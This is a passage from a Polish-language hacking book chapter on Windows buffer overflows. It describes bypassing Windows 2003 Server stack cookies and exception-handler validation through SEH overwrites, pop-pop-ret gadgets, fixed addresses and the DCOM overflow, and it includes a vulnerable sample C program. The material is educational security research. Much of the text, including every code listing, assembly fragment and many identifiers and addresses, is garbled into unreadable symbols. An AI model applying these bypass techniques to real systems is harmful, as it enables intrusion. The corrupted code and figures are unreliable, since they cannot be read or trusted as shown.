Ale czy rzeczywiście? Zaraz po wywołaniu procedury obsługi wyjątku zawartość stosubędzie wyglądać następująco:
�?"@������ �� ���$�001023;<��?".<@��+�A��+������)*�+��$�=$$$$$$4��?".:@���������+�����B=�"C DE'F�G ?CF;C DE
Zamiast nadpisywać wskaźnik procedury obsługi wyjątków adresem rozkazu &'�#�(�lub � ""#�(�, wystarczy nadpisać go adresem kodu zawierającego następujące rozkazy:
� ���H� ���H���
Wykonanie każdego rozkazu ��� zwiększa wartość rejestru ��� o 4, wobec czego w mo-mencie wykonania rozkazu �� rejestr ��� wskazuje dane procesu użytkownika. Przypo-mnijmy, że rozkaz �� pobiera adres znajdujący się na wierzchołku stosu (wskazywanyprzez ���) i powoduje przekazanie sterowania na ten adres. Dzięki temu haker niepotrzebuje już rejestru wskazującego bufor ani nie musi domyślać się jego położenia.
154 Część II ♦ Włamania na platformach Windows, Solaris i Tru64
Gdzie znajdziemy blok potrzebnych do tego rozkazów? Praktycznie na końcu kodukażdej funkcji. Paradoksalnie najlepszym miejscem okazuje się blok rozkazów w kodzie,który zeruje rejestry przed wywołaniem procedury obsługi wyjątku. Blok ten znajdujesię pod adresem ��**+*,%*,.
00102302� ����0010230;� ��5�00102303���#<�
To, że zamiast rozkazu ��� znajduje się tam rozkaz ���#01, nie ma większego znaczenia.Zwiększy on zawartość rejestru ��� o ��01 zamiast o ��1. Wykonanie tych rozkazówprzeniesie nas z powrotem do struktury �������������� ���� na stosie. Koniecznebędzie też zastąpienie wskaźnika następnej struktury �������������� ���� kodemrozkazu krótkiego skoku oraz dwóch rozkazów ���2#��#��34�"�#� '#�'��56# !���#4�7 )38&5��#("�7#��37 394#���2#���#�#���.
Każdy proces Win32 i każdy wątek takiego procesu posiada przynajmniej jedną pro-cedurę obsługi wyjątków bazującą na ramce na stosie. Procedurę tę otrzymuje w mo-mencie jego uruchamiania. Jeśli stosujemy metodę przepełnień buforów na platformieWindows 2003 Server, to wykorzystanie takich procedur obsługi wyjątków umożliwinam obejście zabezpieczeń stosu zastosowanych na tej platformie.
Wykorzystanie procedur obsługi wyjątkówna platformie Windows 2003 Server
Wykorzystanie procedur obsługi wyjątków umożliwia obejście zabezpieczeń stosuzastosowanych na platformie Windows 2003 Server. (Omówienie tego zagadnieniazawiera punkt „Ochrona stosu i Windows 2003 Server”). W momencie wystąpienia wy-jątku na platformie Windows 2003 Server sprawdzana jest poprawność pierwszej pro-cedury obsługi skonfigurowanej dla tego wyjątku. W ten sposób Microsoft chce za-
bezpieczyć się przed atakami na zasadzie przepełnienia stosu, które powodująnadpisanie adresu procedury obsługi wyjątków.
W jaki sposób sprawdzana jest poprawność procedury obsługi wyjątków? Za kontrolę tęodpowiedzialny jest kod funkcji :�;������������.��� ��<�� znajdującej się w bi-bliotece ��.==>.==. Najpierw sprawdza ona, czy wskaźnik procedury obsługi wyjątku niewskazuje adresu na stosie. W tym celu używane są wartości w bloku TEB określającezakres adresów stosu i znajdujące się pod adresami +���1� i +���?�. Jeśli adres proce-dury obsługi wyjątku wypada w tym zakresie, to nie zostanie ona wywołana. Jeśli adresprocedury obsługi wyjątku nie jest adresem stosu, to następnie adres ten porównywanyjest z listą załadowanych modułów (zarówno wykonywalnych, jak i DLL). Co ciekawe,jeśli adres procedury obsługi wyjątków nie przypada w przestrzeni adresowej żadnegoz tych modułów, to uważany jest za bezpieczny i procedura zostaje wywołana. W prze-ciwnym razie adres procedury obsługi wyjątków porównywany jest jeszcze z listą za-rejestrowanych procedur obsługi wyjątków.
Następnie pobierany jest wskaźnik nagłówka PE za pomocą wywołania funkcji �)"�' @����� !��. Jeśli bajt przesunięty ��-+ względem początku nagłówka (jest to naj-starszy bajt pola charakterystyki DLL w nagłówku PE) jest równy ���1, to moduł ten
Rozdział 8. ♦ Przepełnienia w systemie Windows 155
jest niedozwolony. Jeśli adres procedury obsługi wyjątku należy do zakresu adresówtego modułu, to procedura nie zostanie wywołana. Wskaźnik nagłówka PE zostajeprzekazany jako parametr funkcji �"�' @�.���������������. � . W tym przypadkuwywołanie tej funkcji dotyczy katalogu Load Configuration Directory i zwraca adresoraz rozmiar tego katalogu. Jeśli moduł nie dysponuje tym katalogiem, to funkcjazwraca wartość 0 i na tym kończy się kontrola poprawności procedury obsługi wyjątków,która zostaje wywołana. Jeśli moduł posiada taki katalog, to sprawdzany jest jegorozmiar. Gdy należy on do zakresu od � do ��1?, to procedura obsługi wyjątku zostajewywołana. W odległości ��1� bajtów od początku katalogu znajduje się wskaźnik tabeliadresów RVA (Relative Virtual Address) zarejestrowanych procedur obsługi wyjątków.Jeśli wskaźnik ten jest równy NULL, to procedura obsługi wyjątku zostaje wywołana.Przesunięta o ��11 bajtów względem początku katalogu jest liczba elementów tabeliadresów RVA. Jeśli równa się ona 0, to procedura obsługi wyjątku zostaje wywołana.Jeśli wszystkie dotychczasowe kontrole powiodły się, adres bazowy modułu zostajeodjęty od adresu procedury obsługi wyjątków i w wyniku tej operacji otrzymujemyadres RVA tej procedury. Adres RVA jest następnie porównywany z adresami RVAw tabeli zarejestrowanych procedur obsługi wyjątków. Jeśli zostanie tam odnaleziony,to procedura zostanie wywołana. W przeciwnym razie procedura zostanie odrzucona.
Stosując przepełnienia buforów na stosie w systemie Windows 2003 Server i nadpi-sując wskaźnik procedury obsługi wyjątków, mamy do wyboru następujące możliwości:
1. Wykorzystać istniejącą procedurę obsługi wyjątku w taki sposób, byprzekazała sterowanie do naszego bufora.
2. Znaleźć blok kodu spoza zakresu adresów danego modułu, który przekażesterowanie do naszego bufora.
3. Znaleźć blok kodu należący do zakresu adresów danego modułu, który nieposiada katalogu Load Configuration Directory.
Przyjrzymy się im na przykładzie wykorzystania przepełnienia bufora przez funkcjęDCOM o nazwie ��'��� ���A ����.
Wykorzystanie istniejącej procedury obsługi wyjątków
Adres ��**+1- /1 wskazuje zarejestrowaną procedurę obsługi wyjątków w ��.==>.==.Jeśli przeanalizujemy działanie tej procedury, to dojdziemy do wniosku, że można jąwykorzystać do wykonania własnego kodu. Wskaźnik naszej struktury �������������� ���� znajduje się pod adresem �%�$��<.
001<4;91& ��5�,�� �����-�5�.$=�/��001<4;8#& ����,�� �����-�5�.$=�/001<4;8#& ����,�� �����-�5�.:/��001<4;04������,-���.���I7/001<4;0:& ����,�� �����-���.���I<.</��001<4;:1�������
Wskaźnik naszej struktury �������������� ���� został umieszczony w rejestrze �%�.Następnie wartość typu !4��! znajdująca się ���� bajtów za adresem umieszczonymw rejestrze �%� zostaje załadowana do rejestru ���. Ponieważ wcześniej przepełniliśmy
156 Część II ♦ Włamania na platformach Windows, Solaris i Tru64
strukturę �������������� ����, to posiadamy kontrolę nad tą wartością, a w konse-kwencji nad zawartością rejestru ���. W podobny sposób kontrolowana przez nas wartośćtypu dword o przesunięciu 0x08 względem adresu znajdującego się w rejestrze �%�zostaje umieszczona w rejestrze �.�. Następnie do rejestru ��� zostaje załadowanyadres efektywny ���#$#���#B#C (czyli ���#B#/). Ponieważ kontrolujemy zawartość reje-stru ���, to również możemy zagwarantować odpowiednią wartość tego adresu. Kolejnyrozkaz umieszcza w rejestrze � � wartość !4��! znajdującą się pod adresem stanowiącymsumę zawartości kontrolowanego przez nas rejestru �.� oraz ���#B#1#$#1. Następniewywołana zostaje procedura znajdująca się pod adresem umieszczonym w rejestrze � �.
Podczas pierwszego włamania do modułu �A�<���#położenie bloku TEB oraz położenie
stosu są łatwe do określenia. Sytuacja może się zmienić w przypadku mocno obciążo-
nego serwera. Zakładając, że jest stabilna, możemy odnaleźć wskaźnik naszej struktury
�������������� ���� pod adresem ��%$� (��*++.%���) i użyć go jako wskaźnika
naszego kodu. Jednak tuż przed wywołaniem procedury obsługi wyjątków wskaźnik
ten zostanie zaktualizowany, wobec czego nie możemy zastosować takiej metody.
Struktura �������������� ���� wskazywana przez ��%$� posiada pod adresem
����-�+/+� wskaźnik do naszej struktury �������������� ����, a ponieważ położenie
stosu jest zawsze znane podczas pierwszego ataku, możemy wykorzystać ten
wskaźnik. Inny wskaźnik naszej struktury �������������� ���� znajduje się również
pod adresem ����-�+/�1. Jeśli chcemy użyć tego adresu, musimy zapisać wartość
��1���0--1 (która zostanie następnie załadowana do rejestru ���) ���� bajtów za naszą
strukturą �������������� ���� oraz wartość ����-%+/+� ���? bajtów za tą strukturą
(wartość ta zostanie następnie załadowana do rejestru �.�). Po odpowiednim wymnoże-
niu i dodaniu otrzymamy właśnie adres ����-�+/�1. Do rejestru � � zostanie następnie
załadowany wskaźnik znajdujący się pod tym adresem i wywołana odpowiednia proce-
dura. Wywołanie to spowoduje, że trafimy do naszej struktury �������������� ����
w miejscu, w którym znajduje się wskaźnik następnej takiej struktury. Jeśli umieści-
my tam kod, który wykona skok o 14 bajtów, to przeskoczymy kod, który był nam
wcześniej potrzebny, by sterowanie dotarło w obecne miejsce.
Rozwiązanie to przetestowaliśmy na czterech maszynach działających pod kontrolą
systemu Windows 2003 Server, z których trzy działały z wersją Enterprise Edition,
a czwarta ze Standard Edition. Wszystkie próby zakończyły się sukcesem. Musimy jed-
nak zawsze mieć pewność, że włamanie tą metodą przeprowadzane jest po raz pierw-
szy. W przeciwnym razie jest wielce prawdopodobne, że zakończy się ono niepowo-
dzeniem. Na marginesie warto również zauważyć, że opisana możliwość wykorzystania
procedury obsługi wyjątków wynika prawdopodobnie z tego, że jest ona przewidziana
do współpracy z wektoryzowanym mechanizmem obsługi wyjątków, a nie używającym
ramek na stosie.
Do włamań możemy wykorzystać również inne moduły, które używają tej samej proce-
dury obsługi wyjątków. Inne procedury obsługi wyjątków zarejestrowane w tej samej
przestrzeni adresowej zwykle przekazują obsługę do funkcji ������< �!"��/ eks-
portowanej przez bibliotekę '�A���>!"" lub jej odpowiednik.
Rozdział 8. ♦ Przepełnienia w systemie Windows 157
Wykorzystanie bloku kodu o adresie,który nie należy do żadnego modułu
Podobnie jak w innych wersjach systemu Windows pod adresem ���#$#? możemyodnaleźć wskaźnik do naszej struktury �������������� ����. Jeśli potrafimy od-naleźć blok rozkazów
� ���H� ���H���
pod adresem, który nie jest związany z żadnym z załadowanych modułów, to możemyprzejąć sterowanie. Każdy proces działający w systemie Windows 2003 Server zawierapod adresem ��*++�� �- taki blok rozkazów. Ponieważ adres ten nie jest związanyz żadnym modułem, zostanie uznany za bezpieczny, a znajdujący się pod nim kod wyko-nany jako procedura obsługi wyjątków. Istnieje jednak pewien problem. Na innej ma-szynie działającej pod kontrolą systemu Windows 2003 Server Standard Edition tensam blok rozkazów znajduje się w pobliżu podanego adresu, ale nie jest to ten samadres. Skoro nie możemy zagwarantować położenia bloku rozkazów ���, ���, ���, tonie jest to właściwe rozwiązanie. Zamiast tego bloku możemy poszukać rozkazu:
������ �����-���.:/
albo:
)&��� �����-���.:/
w przestrzeni adresowej atakowanego procesu. Chociaż żaden z tych rozkazów nie ist-nieje pod odpowiednim adresem, to jednak wiele wskaźników naszej struktury �����)��������� ���� znajduje się w otoczeniu wskazywanym przez rejestry ��� i �%�.Wskaźnik naszej struktury możemy znaleźć pod jednym z następujących adresów:
���.:���.#<���.#=���.7=���.<<���.4$
�5�.$=�5�.7<�5�.9$�5�J<�5�J=�5�J#:
Każdego z nich możemy użyć dla rozkazu &'� lub � "". Jeśli sprawdzimy przestrzeńadresową �A�<���, to pod adresem ����0%�%�% znajdziemy rozkaz:
������ �����-�5�.$�9$/
Pod adresem �%�#$#/� znajduje się wskaźnik naszej struktury �������������� ����.Adres ten nie jest związany z żadnym modułem, i co więcej, wydaje się, że prawiekażdy proces działający w systemie Windows 2003 Server (jak również wiele pro-cesów w systemie Windows XP) ma te same bajty właśnie pod tym adresem. Proce-sy, które są wyjątkiem od tej reguły, posiadają natomiast te bajty pod adresem ����0��%�%.
158 Część II ♦ Włamania na platformach Windows, Solaris i Tru64
Jeśli nadpiszemy wskaźnik procedury obsługi wyjątków adresem ����0%�%�%, to po-wrócimy do naszego bufora i uzyskamy możliwość wykonania dowolnego kodu. Adres����0%�%�% sprawdziliśmy na wszystkich czterech maszynach z systemem Windows2003 Server i we wszystkich przypadkach zawierał on właściwe bajty reprezentującerozkaz � ""#!4��!#�����(�$��/��. Wydaje się więc, że opisana metoda powinna byćstosunkowo niezawodna na platformie Windows 2003 Server.
Wykorzystanie bloku kodu należącego do modułu,który nie posiada katalogu Load Configuration Directory
Plik wykonywalny �A�<���>��� nie posiada katalogu Load Configuration Directory.Kod z przestrzeni adresowej tego procesu zostałby zaakceptowany jako procedura ob-sługi wyjątku, gdyby nie wyjątek wskaźnika �;== występujący podczas wykonania funkcji:�;������������.��� ��<��DE. Funkcja �"�' @����� !�� zwraca bowiem wartość 0 ja-ko wskaźnik nagłówka PE dla �A�<���. Funkcja :�;������������.��� ��<��DE niesprawdza, czy wykorzystywany przez nią wskaźnik jest różny od �;==.
����F�� &�H�E�����������5������-���.41�/,<)�K$�0018:;70
Na skutek wystąpienia wyjątku działanie procesu zostaje zakończone. Dlatego też nieuda nam się wykorzystać żadnego kodu należącego do �A�<���>!"". Plik ��'����>!""również nie posiada katalogu Load Configuration Directory. Jednak ponieważ polecharakterystyki DLL znajdujące się w nagłówku PE ma wartość ���1��, to test wyko-nywany po wywołaniu funkcji �"�' @����� !�� zakończy się niepowodzeniem i ste-rowanie zostanie przekazane pod adres ��**+F? C* z dala od naszego kodu. Jeśliprzejrzymy wszystkie moduły załadowane w przestrzeni adresowej procesu, to okażesię, że żaden z nich nie spełnia naszych wymagań. Większość posiada katalog LoadConfiguration Directory i zarejestrowane procedury obsługi wyjątków. Natomiast po-zostałe moduły, które nie mają tego katalogu, nie są odpowiednie z tego samego po-wodu co ��'�����>!"". W tym przypadku metoda ta nie jest więc przydatna.
Ponieważ w większości przypadków możemy spowodować wyjątek, próbując wyko-nać operację zapisu za końcem stosu, to przepełniając bufor, możemy użyć takiegosposobu jako ogólnej metody obejścia ochrony stosu w systemie Windows 2003 Se-rver. Należy jednak pamiętać, że metoda ta jest skuteczna w chwili obecnej. Nie mawątpliwości, że kolejne wersje systemu lub nawet pakiety serwisowe usuną ten słabypunkt i sprawią, że metoda przestanie być skuteczna. Wtedy pozostanie nam odkurzyćprogram uruchomieniowy i asembler i zabrać się za projektowanie nowej metody.Firmie Microsoft możemy natomiast polecić wykonywanie wyłącznie zarejestrowa-nych procedur obsługi wyjątków i dołożenie starań, by nie mogły one zostać użyteprzez hakerów w taki sposób, jaki przedstawiliśmy w tym podrozdziale.
Końcowe uwagina temat nadpisań procedur obsługi wyjątków
Gdy słaby punkt występuje w wielu systemach operacyjnych — tak jak ma to miejscew przypadku przepełnienia bufora DCOM ��'��� ���A ���� odkrytego przez polskągrupę badawczą The Last Stage of Delirium — to najlepszym sposobem poprawy
Rozdział 8. ♦ Przepełnienia w systemie Windows 159
przenośności eksploitu jest zaatakowanie procedur obsługi wyjątków. Przesunięciepoczątku bufora względem położenia struktury �������������� ���� może bowiembyć różne dla poszczególnych systemów. I tak w przypadku wspomnianego słabegopunktu DCOM struktura ta znajduje się 1412 bajtów od początku bufora w systemieWindows 2003 Server, 1472 bajty w systemie Windows XP i 1540 bajtów w systemieWindows 2000. Mimo tych różnic możliwe jest napisanie pojedynczego eksploitu dlawszystkich tych systemów. Wystarczy jedynie umieścić w odpowiednich miejscachpseudoprocedury obsługi wyjątków.
Ochrona stosu i Windows 2003 Server
System Windows 2003 Server posiada wbudowaną ochronę stosu. Zastosowanie tegosamego mechanizmu umożliwia Microsoft Visual C++ .NET. Opcja kompilatora G��
(która jest domyślnie włączona) sprawia, że podczas generowania kodu na stosie
umieszczane są znaczniki bezpieczeństwa, których zadaniem jest ochrona adresu powrotu
przed nadpisaniem. Znaczniki te stanowią odpowiednik rozwiązania zastosowanego
przez Crispina Cowana w kompilatorze StackGuard. Po wywołaniu procedury na sto-
sie umieszczane są 4 bajty (!4��!), które są sprawdzane, zanim procedura zwrócisterowanie. W ten sposób chroniony jest adres powrotu oraz zawartość rejestru �%� za-
pisana na stosie. Logika działania tego mechanizmu jest prosta: jeśli lokalny bufor został
przepełniony i spowodował nadpisanie adresu powrotu, to po drodze musiał również nad-
pisać znacznik bezpieczeństwa. W ten sposób proces może rozpoznać sytuację,
w której nastąpiło przepełnienie bufora i podjąć działania zapobiegające wykonaniuniewłaściwego kodu. Zwykle działania te sprowadzają się do zakończenie pracy procesu.
Chociaż może wydawać się, że rozwiązanie takie zapewnia skuteczną ochronę przed
atakami wykorzystującymi przepełnienie, to jednak na przykładzie wykorzystania
procedur obsługi wyjątków pokazaliśmy już, że tak nie jest. Ochrona za pomocą
znaczników bezpieczeństwa utrudnia takie włamania, ale nie eliminuje ich.
Przyjrzyjmy się bliżej sposobowi działania mechanizmu ochrony stosu i spróbujmyznaleźć jeszcze inne metody jego obejścia. Znaczniki bezpieczeństwa generowane są
w wystarczająco losowy sposób, aby próbować odgadnąć ich wartość. Przedstawionyponiżej kod w języku C naśladuje mechanizm generowania znaczników w momencie
uruchamiania procesu.
������������ ��������������� �����
���&������1 L�C ����!����H������= +��@$!����H�������&�@$!����H������I���@$!L;FG�' EC�G�F����� ���!
G��?����&C�&�;�1���C�&��M���!= +��@�������H�6���C�&�N�����L �6���C�&�!= +��@= +��NG��=������"� ���� ���!
160 Część II ♦ Włamania na platformach Windows, Solaris i Tru64
= +��@= +��NG��=������C����� ���!= +��@= +��NG��C��+= �����!O����"��� �&����= ������M����� ����!���@�����H�������M����� ���!�&�@I����.#�NI���!= +��@= +��N�&�!��������= +��>P�:BQ��,= +���!������$!%
Najpierw wywołana zostaje funkcja ��������'��'� �+�"���'�. Wypełnia ona dwaelementy struktury +�=����� — !4��@<. ����'� i !4=�4. ����'�. Te dwie wartości są
następnie poddawane operacji różnicy symetrycznej. Otrzymany wynik poddawany
jest tej samej operacji, której drugim argumentem są kolejno: identyfikator procesu,
identyfikator wątku oraz liczba milisekund, które upłynęły od momentu startu systemu(wartość tę zwraca funkcja ������7��8��DE). Na końcu wywoływana jest funkcja H8���
������' �����8����, której parametrem jest wskaźnik wartości 64-bitowej. Wartość ta
jest następnie dzielona na dwie wartości 32-bitowe, na których wykonywana jest
operacja ��. Uzyskany wynik jest jeszcze raz poddawany operacji �� ze znacznikiem
bezpieczeństwa. Uzyskana wartość znacznika bezpieczeństwa umieszczana jest w pliku
w sekcji >! � .
Zastosowanie opcji G�� powoduje również zmianę układu zmiennych lokalnych podczasgenerowania kodu przez kompilator. Porządek zmiennych lokalnych pozostaje w zgodziez kolejnością ich definicji w programie w języku C, ale wszystkie tablice zostają przesu-
nięte na koniec listy zmiennych lokalnych i w efekcie znajdą się w pobliżu adresu powrotu
na stosie. W ten sposób zapobiega się nadpisaniu zmiennych lokalnych na skutek prze-
pełnienia. Zadaniem tego rozwiązania jest przede wszystkim ochrona zmiennych lo-
gicznych decydujących o przepływie sterowania oraz wskaźników funkcji.
Aby zilustrować pierwszą z wymienionych korzyści, wyobraźmy sobie program, któ-ry uwierzytelnia użytkowników, a procedura uwierzytelniania podatna jest na atak naskutek przepełnienia. Jeśli uwierzytelni ona użytkownika, to nadaje zmiennej typu
dword wartość 1, a w przeciwnym razie 0. Jeśli zmienna taka znajdowałaby się za bu-
forem, to haker mógłby go przepełnić i nadać w ten sposób zmiennej wartość 1, mimo
że nie uwierzytelnił się za pomocą nazwy i odpowiedniego hasła.
Gdy funkcja chroniona za pomocą znaczników bezpieczeństwa zwraca sterowanie, tosprawdza, czy znacznik bezpieczeństwa jest taki sam jak w momencie jej wywołania.
Kopia znacznika zapamiętywana jest w sekcji >! � #pliku zawierającego daną funkcję.
I to jest pierwszy poważny problem takiego rozwiązania — wyjaśnimy to za chwilę.
Jeśli wartość znacznika bezpieczeństwa się nie zgadza, to wywołana zostaje procedu-ra bezpieczeństwa (jeśli została zdefiniowana). Wskaźnik tej procedury przechowy-wany jest również w sekcji >! � . Jeśli wskaźnik ten jest różny od �;==, to zostaje zała-
dowany do rejestru � � i wykonywany jest rozkaz � ""#� �. Stanowi on drugą słabość
tego rozwiązania. Jeśli nie została zdefiniowana procedura bezpieczeństwa, to wy-
woływana jest funkcja ;�< �!"�!���������+�"���. Funkcja ta nie powoduje zakoń-
czenia procesu, lecz wykonuje szereg operacji i wywołuje wiele różnych funkcji.
Rozdział 8. ♦ Przepełnienia w systemie Windows 161
Czytelnikowi zalecamy przeanalizowanie działania funkcji ;�< �!"�!���������+�"���za pomocą IDA Pro. W skrócie działanie tej funkcji polega na załadowaniu biblioteki
� 8"����>!"", a następnie wykonaniu funkcji �����+ 8"� eksportowanej przez tę bi-
bliotekę. Funkcja ta odpowiedzialna jest między innymi za wyświetlenie okna dialo-
gowego, które umożliwia poinformowanie firmy Microsoft o zaistniałym błędzie.
Funkcja �����+ 8"� wykorzystuje potoki ���� �@���������� i ���+ 8"�����������.
Zajmijmy się teraz wspomnianymi problemami omawianego rozwiązania. Najlepiejbędzie zilustrować je przykładowym kodem.
������������ ��������������� �����
�;E6L���@ERLL!���F������ ��1� &R�������II,����I�!
���&����������I���@ERLL!��@����=������$,$�#$$$,$�#$$$$�!F������ ��J1� &R���M���,�����>((�����H�� �������� &(��������&���!��������� ����P��,����!����1������,$,����!������$!
%
���F������ ��1� &R�������II5��,����I��������� ���@$!����I�@ERLL!����5�����-<$/@��!
((��+�A��+� �K*�+�������RFL�@����������,�����>((��!���S��������$!�@�.0!((��K�����K�� +���*+ ��T�������5�����,��!((JJJJJJRU;G;#((���K�+�)�������K��+ V��+������5�����-� ���/S@W(W�� ���..!((�K���T��)�H 5�)��&K�� ��&5�����-� ���/@$!((C���K�5�� �K�K��)��)���T��K��� ���((C� �K�&�)�)+ ��T����������@�����I�����;�� ����,$,�������5������.#�!���S��������$!��������,5������!I5��@�!((JJJJJJJJJJJJJJRU;G;7������$!%
162 Część II ♦ Włamania na platformach Windows, Solaris i Tru64
Program ten wyodrębnia nazwę hosta z adresu URL. Funkcja ��8������+��';�"narażona jest na przepełnienie bufora na stosie w miejscu oznaczonym komentarzem;I � #0. Pozostawmy na chwilę omówienie tego problemu i przyjrzyjmy się prototy-powi tej funkcji. Posiada ona dwa parametry — pierwszy jest wskaźnikiem wskaźni-ka D�< �#BBE, a drugi wskaźnikiem adresu URL. Komentarzem ;I � #C opatrzyliśmyinstrukcję, która pierwszemu parametrowi nadaje wartość wskazującą nazwę hostaumieszczoną na stercie. Przyjrzyjmy się reprezentacji tej instrukcji na poziomie roz-kazów asemblera.
$$<$##3=& ����,�� �����-�5�.:/$$<$##31& ����,�� �����-�5�J:/$$<$##=7& ��� �����-���/,���
Pierwszy z rozkazów umieszcza adres wskaźnika przekazanego jako parametr w reje-strze ���. Następnie do rejestru �.� zostaje załadowany wskaźnik nazwy hosta znaj-dującej się na stercie. Ostatni z rozkazów umieszcza ten wskaźnik pod adresem wska-zywanym przez rejestr ���. I tutaj pojawia się jeden ze wspomnianych problemów.Jeśli przepełnimy bufor na stosie, nadpiszemy znacznik bezpieczeństwa oraz adrespowrotu, to kolejnymi nadpisywanymi wartościami będą parametry funkcji. Ilustrujeto rysunek 8.3.
Rysunek 8.3.Stos przed
i po przepełnieniu
bufora
Na skutek przepełnienia bufora haker może więc uzyskać kontrolę nad parametramiprzekazanymi funkcji. Z tego powodu wykonanie rozkazów znajdujących się w pamięcipocząwszy od adresu ����1�00%� (należących do rozwinięcia instrukcji B(8�# J# �),może zostać użyte do nadpisania dowolnej wartości w pamięci bądź może spowodowaćnaruszenie ochrony pamięci. Druga z tych możliwości wystąpi na przykład w sytuacji,gdy nadpiszemy parametr znajdujący się pod adresem �%�#$#? wartością ��10101010.Następnie proces spróbuje zapisać wskaźnik pod adresem reprezentowanym przez tęwartość, co spowoduje naruszenie ochrony pamięci. Jednocześnie sytuacja taka pozwolinam wykorzystać mechanizm struktur opisujących procedury obsługi wyjątków doobejścia mechanizmu zabezpieczeń stosu. A co w przypadku, gdy nie chcemy spowo-dować wyjątku? Ponieważ obecnie zastanawiamy się nad innymi sposobami obejściazabezpieczeń stosu, to przyjrzyjmy się dokładnie pierwszej z wymienionych możli-wości (zapisowi dowolnej wartości w pamięci).
Wróćmy zatem do problemów wskazanych w procesie sprawdzania wartości znaczni-ka bezpieczeństwa. Pierwszy z nich pojawia się na skutek przechowania oryginalnejwartości znacznika w sekcji >! � . Dla określonej wersji pliku znacznik ten znajduje
Rozdział 8. ♦ Przepełnienia w systemie Windows 163
się zawsze w tym samym miejscu (może to być prawdą nawet dla różnych wersji pli-ku). Jeśli adres wskaźnika nazwy naszego hosta na stosie jest zawsze taki sam, mo-żemy nadpisać nim oryginalną wartość znacznika znajdującą się w sekcji >! � , a na-stępnie wartość znacznika umieszczoną na stosie. W ten sposób obie wartości będątakie same w momencie ich kontroli. Po pomyślnym wyniku kontroli znacznikówprzejmiemy kontrolę nad działaniem programu i przekażemy sterowanie do wybrane-go przez nas adresu — tak jak w klasycznym przepełnieniu bufora na stosie.
Jednak metoda ta nie jest wcale najlepszym rozwiązaniem w naszym przypadku. Kodeksploitu możemy umieścić w buforze i nadpisać adres pewnej funkcji adresem tego
bufora. Gdy funkcja ta zostanie wywołana, to zostanie wykonany nasz kod znajdujący
się w buforze. Jednak kontrola znaczników bezpieczeństwa da wynik negatywny. I w ten
sposób dochodzimy do drugiego ze wspomnianych problemów. Przypomnijmy jednak,że gdy kontrola znaczników bezpieczeństwa nie powiedzie się i zdefiniowana została
procedura bezpieczeństwa, to procedura ta zostanie wywołana. Stanowi to dla nas do-
skonałą okazję, ponieważ możemy nadpisać wskaźnik procedury bezpieczeństwa
(który umieszczony jest w sekcji >! � ) wskaźnikiem naszego bufora. W ten sposób
przejmiemy sterowanie w momencie, gdy kontrola znaczników da wynik negatywny.
Przyjrzyjmy się zatem innemu sposobowi. Przypomnijmy, że jeśli kontrola znacznikówwypadnie negatywnie i nie jest zdefiniowana żadna procedura bezpieczeństwa, towywołana zostanie funkcja ;�< �!"�!���������+�"��� (przy założeniu, że również
wskaźnik właściwej procedury obsługi wyjątków posiada wartość �;==). Funkcja ta
wykonuje tak wiele kodu, że stanowi dla hakera doskonałe pole do popisu. Na przykład
funkcja ta wywołuje funkcję ��������'.��������I, a następnie z uzyskanego katalogu
systemowego ładuje bibliotekę � 8"����>!"". W przypadku przepełnienia posługującego
się kodem Unicode moglibyśmy nadpisać wskaźnik katalogu systemowego przecho-wywany w sekcji >! � modułu 7����"/C>!"" za pomocą wskaźnika naszego własnego
katalogu i w rezultacie spowodować załadowanie własnej wersji biblioteki � 8"����>!""
zamiast wersji systemowej. Wystarczy, że wersja ta będzie eksportować funkcję �)
����+ 8"�, która zostanie automatycznie wywołana.
Kolejną interesującą możliwość (na razie tylko teoretyczną, ponieważ nie mieliśmyjeszcze czasu jej sprawdzić) stanowi koncepcja wtórnego, zagnieżdżonego przepełnienia.
Większość funkcji wywoływanych przez ;�< �!"�!���������+�"��� nie jest chronionaznacznikami. Załóżmy na przykład, że funkcja ��������'.��������I jest narażona na
przepełnienie, ponieważ zakłada, że długość łańcucha katalogowego nie przekracza nigdy
260 bajtów i pochodzi on zawsze z zaufanego źródła. Jeśli nadpiszemy wskaźnik ka-
talogu systemowego wskaźnikiem naszego bufora, to możemy spowodować kolejne
przepełnienie i w momencie powrotu funkcji uzyskać sterowanie. W praktyce okazuje
się, że funkcja ��������'.��������I jest odporna na tego rodzaju atak. Jednak takisłaby punkt może kryć się w innych fragmentach kodu wykonywanego przez ;�< �)
!"�!���������+�"���. Pozostaje tylko go odnaleźć.
W naturalny sposób nasuwa się pytanie, czy scenariusz, w którym uzyskujemy moż-liwość modyfikacji dowolnego miejsca w pamięci, zanim dokonana zostanie kontrolaznaczników, może zdarzyć się w praktyce. Odpowiedź na to pytanie jest pozytyw-na, a sytuacja taka występuje dość często. Przykładem może być słaby punkt DCOMwykryty przez grupę The Last Stage of Delirium. W tym przypadku parametr jednej
164 Część II ♦ Włamania na platformach Windows, Solaris i Tru64
z funkcji posiada typ 4�< �#BB. Umożliwia on nadpisanie dowolnego miejsca w pa-mięci tuż przed powrotem tej funkcji. Jedyny problem z wykorzystaniem tej technikipolega na konieczności wywołania przepełnienia za pomocą danych wejściowych, któremuszą być ścieżką UNC zakodowaną w Unicode i rozpoczynającą się od dwóch znakówodwrotnego ukośnika. Przy założeniu, że nadpisujemy wskaźnik procedury bezpieczeństwawskaźnikiem naszego bufora, pierwszymi rozkazami po jego wywołaniu powinny być:
� ����
���5������-���.���.�/,5�
gdzie n jest następnym bajtem w buforze. Ponieważ zapis pod adresem � �$� �$� niejest nigdy możliwy, to nastąpi naruszenie ochrony pamięci i utracimy nasz proces. Zewzględu na dwa znaki odwrotnego ukośnika znajdujące się na początku bufora wyko-
rzystanie tej metody nie jest więc możliwe. Gdyby nie te znaki, to wystarczyłoby na-stępnie zastosować jedną z omówionych wcześniej technik.
Pokazaliśmy, że istnieje wiele sposobów obejścia mechanizmu ochrony stosu za po-mocą znaczników bezpieczeństwa. Można wykorzystać w tym celu struktury związa-ne z obsługą wyjątków bądź parametry przekazywane funkcjom przez stos. Z pewno-ścią jednak kolejne wersje systemów firmy Microsoft posiadać będą udoskonalonemechanizmy bezpieczeństwa, które utrudnią wykorzystanie przepełnień stosu.
Przepełnienia sterty
